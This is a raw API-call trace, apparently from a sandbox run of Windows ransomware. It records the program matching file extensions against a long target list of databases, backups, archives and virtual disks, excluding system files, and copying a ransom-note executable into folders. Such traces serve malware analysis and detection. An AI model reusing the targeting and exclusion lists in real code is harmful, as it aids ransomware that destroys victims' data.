	[0061.990] lstrlenW (lpString="adn") returned 3
	[0061.990] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0061.990] lstrlenW (lpString="adp") returned 3
	[0061.990] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0061.990] lstrlenW (lpString="alf") returned 3
	[0061.990] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0061.990] lstrlenW (lpString="ask") returned 3
	[0061.990] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0061.990] lstrlenW (lpString="btr") returned 3
	[0061.990] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0061.990] lstrlenW (lpString="cat") returned 3
	[0061.990] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0061.990] lstrlenW (lpString="cdb") returned 3
	[0061.990] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0061.990] lstrlenW (lpString="ckp") returned 3
	[0061.990] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0061.990] lstrlenW (lpString="cma") returned 3
	[0061.990] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0061.990] lstrlenW (lpString="cpd") returned 3
	[0061.990] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0061.990] lstrlenW (lpString="dacpac") returned 6
	[0061.990] lstrcmpiW (lpString1="s.html", lpString2="dacpac") returned 1
	[0061.990] lstrlenW (lpString="dad") returned 3
	[0061.990] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0061.990] lstrlenW (lpString="dadiagrams") returned 10
	[0061.990] lstrcmpiW (lpString1="tings.html", lpString2="dadiagrams") returned 1
	[0061.990] lstrlenW (lpString="daschema") returned 8
	[0061.990] lstrcmpiW (lpString1="ngs.html", lpString2="daschema") returned 1
	[0061.990] lstrlenW (lpString="db-journal") returned 10
	[0061.991] lstrcmpiW (lpString1="tings.html", lpString2="db-journal") returned 1
	[0061.991] lstrlenW (lpString="db-shm") returned 6
	[0061.991] lstrcmpiW (lpString1="s.html", lpString2="db-shm") returned 1
	[0061.991] lstrlenW (lpString="db-wal") returned 6
	[0061.991] lstrcmpiW (lpString1="s.html", lpString2="db-wal") returned 1
	[0061.991] lstrlenW (lpString="dbc") returned 3
	[0061.991] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0061.991] lstrlenW (lpString="dbs") returned 3
	[0061.991] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0061.991] lstrlenW (lpString="dbt") returned 3
	[0061.991] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0061.991] lstrlenW (lpString="dbv") returned 3
	[0061.991] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0061.991] lstrlenW (lpString="dbx") returned 3
	[0061.991] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0061.991] lstrlenW (lpString="dcb") returned 3
	[0061.991] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0061.991] lstrlenW (lpString="dct") returned 3
	[0061.991] lstrcmpiW (lpString1="tml", lpString2="dct") returned 1
	[0061.991] lstrlenW (lpString="dcx") returned 3
	[0061.991] lstrcmpiW (lpString1="tml", lpString2="dcx") returned 1
	[0061.991] lstrlenW (lpString="ddl") returned 3
	[0061.991] lstrcmpiW (lpString1="tml", lpString2="ddl") returned 1
	[0061.991] lstrlenW (lpString="dlis") returned 4
	[0061.991] lstrcmpiW (lpString1="html", lpString2="dlis") returned 1
	[0061.991] lstrlenW (lpString="dp1") returned 3
	[0061.991] lstrcmpiW (lpString1="tml", lpString2="dp1") returned 1
	[0061.991] lstrlenW (lpString="dqy") returned 3
	[0061.991] lstrcmpiW (lpString1="tml", lpString2="dqy") returned 1
	[0061.991] lstrlenW (lpString="dsk") returned 3
	[0061.991] lstrcmpiW (lpString1="tml", lpString2="dsk") returned 1
	[0061.991] lstrlenW (lpString="dsn") returned 3
	[0061.991] lstrcmpiW (lpString1="tml", lpString2="dsn") returned 1
	[0061.991] lstrlenW (lpString="dtsx") returned 4
	[0061.991] lstrcmpiW (lpString1="html", lpString2="dtsx") returned 1
	[0061.991] lstrlenW (lpString="dxl") returned 3
	[0061.992] lstrcmpiW (lpString1="tml", lpString2="dxl") returned 1
	[0061.992] lstrlenW (lpString="eco") returned 3
	[0061.992] lstrcmpiW (lpString1="tml", lpString2="eco") returned 1
	[0061.992] lstrlenW (lpString="ecx") returned 3
	[0061.992] lstrcmpiW (lpString1="tml", lpString2="ecx") returned 1
	[0061.992] lstrlenW (lpString="edb") returned 3
	[0061.992] lstrcmpiW (lpString1="tml", lpString2="edb") returned 1
	[0061.992] lstrlenW (lpString="epim") returned 4
	[0061.992] lstrcmpiW (lpString1="html", lpString2="epim") returned 1
	[0061.992] lstrlenW (lpString="fcd") returned 3
	[0061.992] lstrcmpiW (lpString1="tml", lpString2="fcd") returned 1
	[0061.992] lstrlenW (lpString="fdb") returned 3
	[0061.992] lstrcmpiW (lpString1="tml", lpString2="fdb") returned 1
	[0061.992] lstrlenW (lpString="fic") returned 3
	[0061.992] lstrcmpiW (lpString1="tml", lpString2="fic") returned 1
	[0061.992] lstrlenW (lpString="flexolibrary") returned 12
	[0061.992] lstrcmpiW (lpString1="ettings.html", lpString2="flexolibrary") returned -1
	[0061.992] lstrlenW (lpString="fm5") returned 3
	[0061.992] lstrcmpiW (lpString1="tml", lpString2="fm5") returned 1
	[0061.992] lstrlenW (lpString="fmp") returned 3
	[0061.992] lstrcmpiW (lpString1="tml", lpString2="fmp") returned 1
	[0061.992] lstrlenW (lpString="fmp12") returned 5
	[0061.992] lstrcmpiW (lpString1=".html", lpString2="fmp12") returned -1
	[0061.992] lstrlenW (lpString="fmpsl") returned 5
	[0061.992] lstrcmpiW (lpString1=".html", lpString2="fmpsl") returned -1
	[0061.992] lstrlenW (lpString="fol") returned 3
	[0061.992] lstrcmpiW (lpString1="tml", lpString2="fol") returned 1
	[0061.992] lstrlenW (lpString="fp3") returned 3
	[0061.992] lstrcmpiW (lpString1="tml", lpString2="fp3") returned 1
	[0061.992] lstrlenW (lpString="fp4") returned 3
	[0061.992] lstrcmpiW (lpString1="tml", lpString2="fp4") returned 1
	[0061.992] lstrlenW (lpString="fp5") returned 3
	[0061.992] lstrcmpiW (lpString1="tml", lpString2="fp5") returned 1
	[0061.992] lstrlenW (lpString="fp7") returned 3
	[0061.992] lstrcmpiW (lpString1="tml", lpString2="fp7") returned 1
	[0061.993] lstrlenW (lpString="fpt") returned 3
	[0061.993] lstrcmpiW (lpString1="tml", lpString2="fpt") returned 1
	[0061.993] lstrlenW (lpString="frm") returned 3
	[0061.993] lstrcmpiW (lpString1="tml", lpString2="frm") returned 1
	[0061.993] lstrlenW (lpString="gdb") returned 3
	[0061.993] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0061.993] lstrlenW (lpString="gdb") returned 3
	[0061.993] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0061.993] lstrlenW (lpString="grdb") returned 4
	[0061.993] lstrcmpiW (lpString1="html", lpString2="grdb") returned 1
	[0061.993] lstrlenW (lpString="gwi") returned 3
	[0061.993] lstrcmpiW (lpString1="tml", lpString2="gwi") returned 1
	[0061.993] lstrlenW (lpString="hdb") returned 3
	[0061.993] lstrcmpiW (lpString1="tml", lpString2="hdb") returned 1
	[0061.993] lstrlenW (lpString="his") returned 3
	[0061.993] lstrcmpiW (lpString1="tml", lpString2="his") returned 1
	[0061.993] lstrlenW (lpString="ib") returned 2
	[0061.993] lstrcmpiW (lpString1="ml", lpString2="ib") returned 1
	[0061.993] lstrlenW (lpString="idb") returned 3
	[0061.993] lstrcmpiW (lpString1="tml", lpString2="idb") returned 1
	[0061.993] lstrlenW (lpString="ihx") returned 3
	[0061.993] lstrcmpiW (lpString1="tml", lpString2="ihx") returned 1
	[0061.993] lstrlenW (lpString="itdb") returned 4
	[0061.993] lstrcmpiW (lpString1="html", lpString2="itdb") returned -1
	[0061.993] lstrlenW (lpString="itw") returned 3
	[0061.993] lstrcmpiW (lpString1="tml", lpString2="itw") returned 1
	[0061.993] lstrlenW (lpString="jet") returned 3
	[0061.993] lstrcmpiW (lpString1="tml", lpString2="jet") returned 1
	[0061.993] lstrlenW (lpString="jtx") returned 3
	[0061.993] lstrcmpiW (lpString1="tml", lpString2="jtx") returned 1
	[0061.993] lstrlenW (lpString="kdb") returned 3
	[0061.993] lstrcmpiW (lpString1="tml", lpString2="kdb") returned 1
	[0061.993] lstrlenW (lpString="kexi") returned 4
	[0061.993] lstrcmpiW (lpString1="html", lpString2="kexi") returned -1
	[0061.993] lstrlenW (lpString="kexic") returned 5
	[0061.994] lstrcmpiW (lpString1=".html", lpString2="kexic") returned -1
	[0061.994] lstrlenW (lpString="kexis") returned 5
	[0061.994] lstrcmpiW (lpString1=".html", lpString2="kexis") returned -1
	[0061.994] lstrlenW (lpString="lgc") returned 3
	[0061.994] lstrcmpiW (lpString1="tml", lpString2="lgc") returned 1
	[0061.994] lstrlenW (lpString="lwx") returned 3
	[0061.994] lstrcmpiW (lpString1="tml", lpString2="lwx") returned 1
	[0061.994] lstrlenW (lpString="maf") returned 3
	[0061.994] lstrcmpiW (lpString1="tml", lpString2="maf") returned 1
	[0061.994] lstrlenW (lpString="maq") returned 3
	[0061.994] lstrcmpiW (lpString1="tml", lpString2="maq") returned 1
	[0061.994] lstrlenW (lpString="mar") returned 3
	[0061.994] lstrcmpiW (lpString1="tml", lpString2="mar") returned 1
	[0061.994] lstrlenW (lpString="marshal") returned 7
	[0061.994] lstrcmpiW (lpString1="gs.html", lpString2="marshal") returned -1
	[0061.994] lstrlenW (lpString="mas") returned 3
	[0061.994] lstrcmpiW (lpString1="tml", lpString2="mas") returned 1
	[0061.994] lstrlenW (lpString="mav") returned 3
	[0061.994] lstrcmpiW (lpString1="tml", lpString2="mav") returned 1
	[0061.994] lstrlenW (lpString="maw") returned 3
	[0061.994] lstrcmpiW (lpString1="tml", lpString2="maw") returned 1
	[0061.994] lstrlenW (lpString="mdbhtml") returned 7
	[0061.994] lstrcmpiW (lpString1="gs.html", lpString2="mdbhtml") returned -1
	[0061.994] lstrlenW (lpString="mdn") returned 3
	[0061.994] lstrcmpiW (lpString1="tml", lpString2="mdn") returned 1
	[0061.994] lstrlenW (lpString="mdt") returned 3
	[0061.994] lstrcmpiW (lpString1="tml", lpString2="mdt") returned 1
	[0061.994] lstrlenW (lpString="mfd") returned 3
	[0061.994] lstrcmpiW (lpString1="tml", lpString2="mfd") returned 1
	[0061.994] lstrlenW (lpString="mpd") returned 3
	[0061.994] lstrcmpiW (lpString1="tml", lpString2="mpd") returned 1
	[0061.994] lstrlenW (lpString="mrg") returned 3
	[0061.994] lstrcmpiW (lpString1="tml", lpString2="mrg") returned 1
	[0061.994] lstrlenW (lpString="mud") returned 3
	[0061.994] lstrcmpiW (lpString1="tml", lpString2="mud") returned 1
	[0061.995] lstrlenW (lpString="mwb") returned 3
	[0061.995] lstrcmpiW (lpString1="tml", lpString2="mwb") returned 1
	[0061.995] lstrlenW (lpString="myd") returned 3
	[0061.995] lstrcmpiW (lpString1="tml", lpString2="myd") returned 1
	[0061.995] lstrlenW (lpString="ndf") returned 3
	[0061.995] lstrcmpiW (lpString1="tml", lpString2="ndf") returned 1
	[0061.995] lstrlenW (lpString="nnt") returned 3
	[0061.995] lstrcmpiW (lpString1="tml", lpString2="nnt") returned 1
	[0061.995] lstrlenW (lpString="nrmlib") returned 6
	[0061.995] lstrcmpiW (lpString1="s.html", lpString2="nrmlib") returned 1
	[0061.995] lstrlenW (lpString="ns2") returned 3
	[0061.995] lstrcmpiW (lpString1="tml", lpString2="ns2") returned 1
	[0061.995] lstrlenW (lpString="ns3") returned 3
	[0061.995] lstrcmpiW (lpString1="tml", lpString2="ns3") returned 1
	[0061.995] lstrlenW (lpString="ns4") returned 3
	[0061.995] lstrcmpiW (lpString1="tml", lpString2="ns4") returned 1
	[0061.995] lstrlenW (lpString="nsf") returned 3
	[0061.995] lstrcmpiW (lpString1="tml", lpString2="nsf") returned 1
	[0061.995] lstrlenW (lpString="nv") returned 2
	[0061.995] lstrcmpiW (lpString1="ml", lpString2="nv") returned -1
	[0061.995] lstrlenW (lpString="nv2") returned 3
	[0061.995] lstrcmpiW (lpString1="tml", lpString2="nv2") returned 1
	[0061.995] lstrlenW (lpString="nwdb") returned 4
	[0061.995] lstrcmpiW (lpString1="html", lpString2="nwdb") returned -1
	[0061.995] lstrlenW (lpString="nyf") returned 3
	[0061.995] lstrcmpiW (lpString1="tml", lpString2="nyf") returned 1
	[0061.995] lstrlenW (lpString="odb") returned 3
	[0061.995] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0061.995] lstrlenW (lpString="odb") returned 3
	[0061.995] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0061.995] lstrlenW (lpString="oqy") returned 3
	[0061.995] lstrcmpiW (lpString1="tml", lpString2="oqy") returned 1
	[0061.995] lstrlenW (lpString="ora") returned 3
	[0061.995] lstrcmpiW (lpString1="tml", lpString2="ora") returned 1
	[0061.996] lstrlenW (lpString="orx") returned 3
	[0061.996] lstrcmpiW (lpString1="tml", lpString2="orx") returned 1
	[0061.996] lstrlenW (lpString="owc") returned 3
	[0061.996] lstrcmpiW (lpString1="tml", lpString2="owc") returned 1
	[0061.996] lstrlenW (lpString="p96") returned 3
	[0061.996] lstrcmpiW (lpString1="tml", lpString2="p96") returned 1
	[0061.996] lstrlenW (lpString="p97") returned 3
	[0061.996] lstrcmpiW (lpString1="tml", lpString2="p97") returned 1
	[0061.996] lstrlenW (lpString="pan") returned 3
	[0061.996] lstrcmpiW (lpString1="tml", lpString2="pan") returned 1
	[0061.996] lstrlenW (lpString="pdb") returned 3
	[0061.996] lstrcmpiW (lpString1="tml", lpString2="pdb") returned 1
	[0061.996] lstrlenW (lpString="pdm") returned 3
	[0061.996] lstrcmpiW (lpString1="tml", lpString2="pdm") returned 1
	[0061.996] lstrlenW (lpString="pnz") returned 3
	[0061.996] lstrcmpiW (lpString1="tml", lpString2="pnz") returned 1
	[0061.996] lstrlenW (lpString="qry") returned 3
	[0061.996] lstrcmpiW (lpString1="tml", lpString2="qry") returned 1
	[0061.996] lstrlenW (lpString="qvd") returned 3
	[0061.996] lstrcmpiW (lpString1="tml", lpString2="qvd") returned 1
	[0061.996] lstrlenW (lpString="rbf") returned 3
	[0061.996] lstrcmpiW (lpString1="tml", lpString2="rbf") returned 1
	[0061.996] lstrlenW (lpString="rctd") returned 4
	[0061.996] lstrcmpiW (lpString1="html", lpString2="rctd") returned -1
	[0061.996] lstrlenW (lpString="rod") returned 3
	[0061.996] lstrcmpiW (lpString1="tml", lpString2="rod") returned 1
	[0061.996] lstrlenW (lpString="rodx") returned 4
	[0061.996] lstrcmpiW (lpString1="html", lpString2="rodx") returned -1
	[0061.996] lstrlenW (lpString="rpd") returned 3
	[0061.996] lstrcmpiW (lpString1="tml", lpString2="rpd") returned 1
	[0061.996] lstrlenW (lpString="rsd") returned 3
	[0061.996] lstrcmpiW (lpString1="tml", lpString2="rsd") returned 1
	[0061.996] lstrlenW (lpString="sas7bdat") returned 8
	[0061.996] lstrcmpiW (lpString1="ngs.html", lpString2="sas7bdat") returned -1
	[0061.996] lstrlenW (lpString="sbf") returned 3
	[0061.996] lstrcmpiW (lpString1="tml", lpString2="sbf") returned 1
	[0061.997] lstrlenW (lpString="scx") returned 3
	[0061.997] lstrcmpiW (lpString1="tml", lpString2="scx") returned 1
	[0061.997] lstrlenW (lpString="sdb") returned 3
	[0061.997] lstrcmpiW (lpString1="tml", lpString2="sdb") returned 1
	[0061.997] lstrlenW (lpString="sdc") returned 3
	[0061.997] lstrcmpiW (lpString1="tml", lpString2="sdc") returned 1
	[0061.997] lstrlenW (lpString="sdf") returned 3
	[0061.997] lstrcmpiW (lpString1="tml", lpString2="sdf") returned 1
	[0061.997] lstrlenW (lpString="sis") returned 3
	[0061.997] lstrcmpiW (lpString1="tml", lpString2="sis") returned 1
	[0061.997] lstrlenW (lpString="spq") returned 3
	[0061.997] lstrcmpiW (lpString1="tml", lpString2="spq") returned 1
	[0061.997] lstrlenW (lpString="te") returned 2
	[0061.997] lstrcmpiW (lpString1="ml", lpString2="te") returned -1
	[0061.997] lstrlenW (lpString="teacher") returned 7
	[0061.997] lstrcmpiW (lpString1="gs.html", lpString2="teacher") returned -1
	[0061.997] lstrlenW (lpString="tmd") returned 3
	[0061.997] lstrcmpiW (lpString1="tml", lpString2="tmd") returned 1
	[0061.997] lstrlenW (lpString="tps") returned 3
	[0061.997] lstrcmpiW (lpString1="tml", lpString2="tps") returned -1
	[0061.997] lstrlenW (lpString="trc") returned 3
	[0061.997] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0061.997] lstrlenW (lpString="trc") returned 3
	[0061.997] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0061.997] lstrlenW (lpString="trm") returned 3
	[0061.997] lstrcmpiW (lpString1="tml", lpString2="trm") returned -1
	[0061.997] lstrlenW (lpString="udb") returned 3
	[0061.997] lstrcmpiW (lpString1="tml", lpString2="udb") returned -1
	[0061.997] lstrlenW (lpString="udl") returned 3
	[0061.997] lstrcmpiW (lpString1="tml", lpString2="udl") returned -1
	[0061.997] lstrlenW (lpString="usr") returned 3
	[0061.997] lstrcmpiW (lpString1="tml", lpString2="usr") returned -1
	[0061.997] lstrlenW (lpString="v12") returned 3
	[0061.997] lstrcmpiW (lpString1="tml", lpString2="v12") returned -1
	[0061.997] lstrlenW (lpString="vis") returned 3
	[0061.998] lstrcmpiW (lpString1="tml", lpString2="vis") returned -1
	[0061.998] lstrlenW (lpString="vpd") returned 3
	[0061.998] lstrcmpiW (lpString1="tml", lpString2="vpd") returned -1
	[0061.998] lstrlenW (lpString="vvv") returned 3
	[0061.998] lstrcmpiW (lpString1="tml", lpString2="vvv") returned -1
	[0061.998] lstrlenW (lpString="wdb") returned 3
	[0061.998] lstrcmpiW (lpString1="tml", lpString2="wdb") returned -1
	[0061.998] lstrlenW (lpString="wmdb") returned 4
	[0061.998] lstrcmpiW (lpString1="html", lpString2="wmdb") returned -1
	[0061.998] lstrlenW (lpString="wrk") returned 3
	[0061.998] lstrcmpiW (lpString1="tml", lpString2="wrk") returned -1
	[0061.998] lstrlenW (lpString="xdb") returned 3
	[0061.998] lstrcmpiW (lpString1="tml", lpString2="xdb") returned -1
	[0061.998] lstrlenW (lpString="xld") returned 3
	[0061.998] lstrcmpiW (lpString1="tml", lpString2="xld") returned -1
	[0061.998] lstrlenW (lpString="xmlff") returned 5
	[0061.998] lstrcmpiW (lpString1=".html", lpString2="xmlff") returned -1
	[0061.998] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0
	[0061.998] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0061.998] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0061.998] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js"
	[0061.998] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0061.998] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0061.998] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js") returned 62
	[0061.998] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js"
	[0061.998] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.998] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.003] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.003] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d078c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d078c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.003] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.003] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.003] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.003] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d078c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d078c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.003] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.003] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.003] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.003] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.003] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x467a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="clock.js", cAlternateFileName="")) returned 1
	[0062.003] lstrcmpiW (lpString1="clock.js", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.003] lstrcmpiW (lpString1="clock.js", lpString2="Apollon865.txt.exe") returned 1
	[0062.003] lstrcmpiW (lpString1="clock.js", lpString2=".") returned 1
	[0062.003] lstrcmpiW (lpString1="clock.js", lpString2="..") returned 1
	[0062.003] lstrcmpiW (lpString1="clock.js", lpString2="windows") returned -1
	[0062.003] lstrcmpiW (lpString1="clock.js", lpString2="bootmgr") returned 1
	[0062.003] lstrcmpiW (lpString1="clock.js", lpString2="temp") returned -1
	[0062.003] lstrcmpiW (lpString1="clock.js", lpString2="pagefile.sys") returned -1
	[0062.003] lstrcmpiW (lpString1="clock.js", lpString2="boot") returned 1
	[0062.003] lstrcmpiW (lpString1="clock.js", lpString2="ids.txt") returned -1
	[0062.003] lstrcmpiW (lpString1="clock.js", lpString2="ntuser.dat") returned -1
	[0062.003] lstrcmpiW (lpString1="clock.js", lpString2="perflogs") returned -1
	[0062.003] lstrcmpiW (lpString1="clock.js", lpString2="MSBuild") returned -1
	[0062.003] lstrlenW (lpString="clock.js") returned 8
	[0062.004] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*") returned 64
	[0062.004] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="clock.js" | out: lpString1="clock.js") returned="clock.js"
	[0062.004] lstrlenW (lpString="clock.js") returned 8
	[0062.004] lstrlenW (lpString="Apollon865") returned 10
	[0062.004] lstrlenW (lpString=".dll") returned 4
	[0062.004] lstrcmpiW (lpString1="clock.js", lpString2=".dll") returned 1
	[0062.004] lstrlenW (lpString=".lnk") returned 4
	[0062.004] lstrcmpiW (lpString1="clock.js", lpString2=".lnk") returned 1
	[0062.004] lstrlenW (lpString=".ini") returned 4
	[0062.004] lstrcmpiW (lpString1="clock.js", lpString2=".ini") returned 1
	[0062.004] lstrlenW (lpString=".sys") returned 4
	[0062.004] lstrcmpiW (lpString1="clock.js", lpString2=".sys") returned 1
	[0062.004] lstrlenW (lpString="clock.js") returned 8
	[0062.004] lstrlenW (lpString="bak") returned 3
	[0062.004] lstrcmpiW (lpString1=".js", lpString2="bak") returned -1
	[0062.004] lstrlenW (lpString="ba_") returned 3
	[0062.004] lstrcmpiW (lpString1=".js", lpString2="ba_") returned -1
	[0062.004] lstrlenW (lpString="dbb") returned 3
	[0062.004] lstrcmpiW (lpString1=".js", lpString2="dbb") returned -1
	[0062.004] lstrlenW (lpString="vmdk") returned 4
	[0062.004] lstrcmpiW (lpString1="k.js", lpString2="vmdk") returned -1
	[0062.004] lstrlenW (lpString="rar") returned 3
	[0062.004] lstrcmpiW (lpString1=".js", lpString2="rar") returned -1
	[0062.004] lstrlenW (lpString="zip") returned 3
	[0062.004] lstrcmpiW (lpString1=".js", lpString2="zip") returned -1
	[0062.004] lstrlenW (lpString="tgz") returned 3
	[0062.004] lstrcmpiW (lpString1=".js", lpString2="tgz") returned -1
	[0062.004] lstrlenW (lpString="vbox") returned 4
	[0062.004] lstrcmpiW (lpString1="k.js", lpString2="vbox") returned -1
	[0062.004] lstrlenW (lpString="vdi") returned 3
	[0062.004] lstrcmpiW (lpString1=".js", lpString2="vdi") returned -1
	[0062.004] lstrlenW (lpString="vhd") returned 3
	[0062.004] lstrcmpiW (lpString1=".js", lpString2="vhd") returned -1
	[0062.004] lstrlenW (lpString="vhdx") returned 4
	[0062.004] lstrcmpiW (lpString1="k.js", lpString2="vhdx") returned -1
	[0062.005] lstrlenW (lpString="avhd") returned 4
	[0062.005] lstrcmpiW (lpString1="k.js", lpString2="avhd") returned 1
	[0062.005] lstrlenW (lpString="db") returned 2
	[0062.005] lstrcmpiW (lpString1="js", lpString2="db") returned 1
	[0062.005] lstrlenW (lpString="db2") returned 3
	[0062.005] lstrcmpiW (lpString1=".js", lpString2="db2") returned -1
	[0062.005] lstrlenW (lpString="db3") returned 3
	[0062.005] lstrcmpiW (lpString1=".js", lpString2="db3") returned -1
	[0062.005] lstrlenW (lpString="dbf") returned 3
	[0062.005] lstrcmpiW (lpString1=".js", lpString2="dbf") returned -1
	[0062.005] lstrlenW (lpString="mdf") returned 3
	[0062.005] lstrcmpiW (lpString1=".js", lpString2="mdf") returned -1
	[0062.005] lstrlenW (lpString="mdb") returned 3
	[0062.005] lstrcmpiW (lpString1=".js", lpString2="mdb") returned -1
	[0062.005] lstrlenW (lpString="sql") returned 3
	[0062.005] lstrcmpiW (lpString1=".js", lpString2="sql") returned -1
	[0062.005] lstrlenW (lpString="sqlite") returned 6
	[0062.005] lstrcmpiW (lpString1="ock.js", lpString2="sqlite") returned -1
	[0062.005] lstrlenW (lpString="sqlite3") returned 7
	[0062.005] lstrcmpiW (lpString1="lock.js", lpString2="sqlite3") returned -1
	[0062.005] lstrlenW (lpString="sqlitedb") returned 8
	[0062.005] lstrlenW (lpString="xml") returned 3
	[0062.005] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0062.005] lstrlenW (lpString="$er") returned 3
	[0062.005] lstrcmpiW (lpString1=".js", lpString2="$er") returned 1
	[0062.005] lstrlenW (lpString="4dd") returned 3
	[0062.005] lstrcmpiW (lpString1=".js", lpString2="4dd") returned -1
	[0062.005] lstrlenW (lpString="4dl") returned 3
	[0062.005] lstrcmpiW (lpString1=".js", lpString2="4dl") returned -1
	[0062.005] lstrlenW (lpString="^^^") returned 3
	[0062.005] lstrcmpiW (lpString1=".js", lpString2="^^^") returned -1
	[0062.005] lstrlenW (lpString="abs") returned 3
	[0062.005] lstrcmpiW (lpString1=".js", lpString2="abs") returned -1
	[0062.005] lstrlenW (lpString="abx") returned 3
